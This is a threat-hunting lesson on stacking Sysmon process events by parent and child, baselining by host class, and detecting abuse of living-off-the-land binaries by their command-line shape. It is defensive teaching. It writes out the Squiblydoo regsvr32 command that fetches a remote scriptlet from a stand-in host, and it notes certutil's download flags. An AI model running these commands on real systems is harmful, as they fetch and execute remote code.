Skip to content

Lesson 10 of 14 · 14m

Stacking, Then Explaining the Tail

Frequency analysis ranks leads — rare is a rank not a verdict, and baselines must be per host class.

Stacking is group-by plus count. Take a field tuple — parent image and child image, binary and signer, user and host, destination domain and resolved IPs — stats count by it, sort ascending, and read the tail. Attackers are rare almost by definition; the tail of a frequency distribution over a large fleet is where rare things accumulate, and a hunt that works the tail down is a hunt that runs on arithmetic instead of intuition.

The classic stack is parent→child over Sysmon 1:

index=sysmon EventCode=1
| stats count by parent_name, Image
| sort + count

A fleet of a few thousand endpoints returns a few hundred distinct pairs. The bulk is explainable in seconds — explorer.exe→everything, services.exe→svchost.exe, your RMM agent→powershell.exe. Then the tail: WINWORD.EXE→powershell.exe with count 1, EXCEL.EXE→certutil.exe, outlook.exe→cmd.exe. Each one is either a documented admin quirk or a hypothesis. WINWORD.EXE spawning powershell.exe is the single most reliable macro-malware tell in existence — it appears in essentially every Emotet/Qakbot-style doc chain — and stacking surfaces it whether or not any rule knew the file's name.

Rare is a rank, not a verdict

The wrong model is "rare equals evil." A one-off PowerShell process on a build server is Tuesday; the identical process on a domain controller is an event. Stacking ranks leads, it does not convict them — every tail item still gets the pivot treatment. The second wrong model is the global baseline: one fleet-wide "normal" applied uniformly. Baselines have to be per host class. Build servers run compilers and scripts; finance laptops run Office and a VPN client; domain controllers run almost nothing. A stack that can't tell the difference between those populations will convict your CI farm every week.

And the third: name-based allowlisting. regsvr32.exe runs constantly and is a LOLBin — regsvr32 /s /n /u /i:http://evil.example/x.sct scrobj.dll is the Squiblydoo bypass Casey Smith published in 2016, and it executes a remote scriptlet through a signed Microsoft binary. certutil -urlcache -split -f downloads files. bitsadmin, mshta, installutil — the LOLBAS project catalogs all of them. The defense is not to stack on image name but on (image, command-line shape): regsvr32 without /i:http, certutil without -urlcache. The args are the signal; the binary is the costume.

Carving the tail efficiently

The tail of a fleet-wide stack is longer than any analyst's afternoon, so triage it in passes. First pass: kill everything attributable to a named, signed, expected parent — your management agent, your backup client, your software deployment tool. Second pass: kill the duplicates — the same pair across 40 hosts is an application, not forty incidents. What remains after two passes is usually single-digit count, and every item gets a pivot. Time-of-day is the free second dimension: a process pair that is rare and first-seen last Tuesday at 03:14 is a different conversation than the same pair with a three-year history. Sysmon 1's UtcTime and the 4624 session window give you that for free — use it before you spend a pivot.

The baseline loop

A baseline is the same stack run over the last N days of each host class, saved and diffed against tomorrow's. Anything new in today's stack that wasn't in the baseline is a lead with an automatic first question: did the environment change, or did something arrive? Run five stacks weekly — parent→child, unsigned binaries in user-writable dirs, service binaries by path, accounts by source host, outbound domains by resolved ASN — and document every tail item you explain. The unexplained remainder is the input queue for real hunts, which is where the hypotheses from earlier lessons come from.

One warning on mechanics: stacks are only as honest as the join behind them. Grouping DeviceProcessEvents on InitiatingProcessFileName when you meant InitiatingProcessCommandLine collapses powershell.exe -enc into powershell.exe — the exact distinction that mattered. Group on the richest field tuple your telemetry carries, then project down for display.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.